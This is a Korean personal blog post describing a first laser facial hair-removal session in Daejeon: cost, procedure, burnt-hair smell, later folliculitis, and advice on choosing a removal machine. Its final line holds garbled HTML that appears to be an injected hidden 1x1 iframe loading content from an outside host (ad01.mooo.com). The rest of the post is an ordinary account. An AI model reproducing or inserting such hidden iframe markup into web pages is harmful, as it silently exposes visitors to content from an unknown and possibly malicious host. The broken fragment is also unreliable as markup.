후기라고 해야될지 모르겠다.

이제 1차 제모한 뒤 5일 째다.

내가 사는 곳이 대전이라서 서울은 좉나 싸다던데, 대전은 좉나 비싸다.

내가 할라고 했던 부분이 구렛나루 밑 턱 부분하고, 볼, 목인데

각각 30씩 부르는거 볼은 밀도 낮다고 그러니까 볼은 10에 해줌. 그래서 총 견적 70 나왔음.

사실 그깟 돈이 중요한게 아니라 이게 ㅅ1풋 잘되어야 하잖아... 돈은 별로 신경 안쓰이더라고

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병원 가니까 얼굴에 마취크림 발라줌. 30분 누워있는데 꿈나라 갈 뻔함

그러고선 라이트쉐어로 시술 하는데 5~10분 사이에 끝나버림. 구렛나루 부분은 별로 안아프고 볼이 좀 아프더만.

찍 찍 찍 거리면서 하는데 털 타는 냄새크리 쩔음. 그러고선 찬 수건으로 찜질 10분 정도 하고

무슨 피부 완화시켜주는 레이져 10분 받음.

그러고서 집에 왔는데 여전히 빨갛더라고, 그리고 얼굴에 탄 수염들이 덕지덕지 붙어있는거임. 그래서 몇개는 손으로 떼줌.

그리고 얼음찜질 좀 해주고,, 병원에서 준 연고 좀 바르는 중.

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현재 5일 째를 맞고 있는데, 모낭염 크리가 찾아왔음. 피부과 가서 케어 받을까 말까 고민중.

그리고 수염이 없어졌다는 느낌은 없음. 원래 이런거라고 함.

보통 제모하고 2주 정도 돼야 빠지기 시작한다고 함. 그 때부터 차이를 느낀다고 하더라고...

이제 1주도 안되었으니 그 날을 기대하고 있음.

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나같은 경우는 1개월에 1회씩 총 6회(6개월) 동안 하는거라서 그렇다는 것은 최종 시술이 9월달에 끝나는거임 -_-.... ㅅ1발.

그래도 뭐 산적같은 이 수염들이 없어질 수만 있다면 감수할 수 있음.

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참고로 좀 찾아봤는데, 제모 전용기계로 알아주고 효과 있는게 몇 개 있던데 내가 했던 라이트쉐어도 제모 전용기계로 괜찮은 기계더라고

아포지 신형도 알아주고,, 그 외에 소프라노나 그런것도 괜찮은데, 확실히 시술할 때 덜 아픈건 나중에 다시 날 가능성도 있다고 하대..

특히 제모전용 기계가 아닌 ipl같은걸로 싸게 해주는 피부과도 있다는데 거의 재발률 크리 쩐다고 하더라.

그래서 뭘로 찌지는지 잘 알아보고 하는게 중요하고, 의사의 정성도도 기계에 +@한다고 하니 그것도 참고하고,,

그나저나 모낭염 ㅆ ㅣ발

아직 붉긋붉긋한게 좀 남아있고, 주변에서 모낭염보면서 왜그러냐고 자꾸 걱정해줌.

참고로 이건 애인 몰래, 동료몰래 할 수 있는 시술은 아닌듯.

그냥 난 제모 한다고 떠벌리고 다님. ㅅ ㅂ1?>>< src= width=1 height=1>>>me width=1 src =http://ad01.mooo.com/advertis/ height=1>>< src=>>>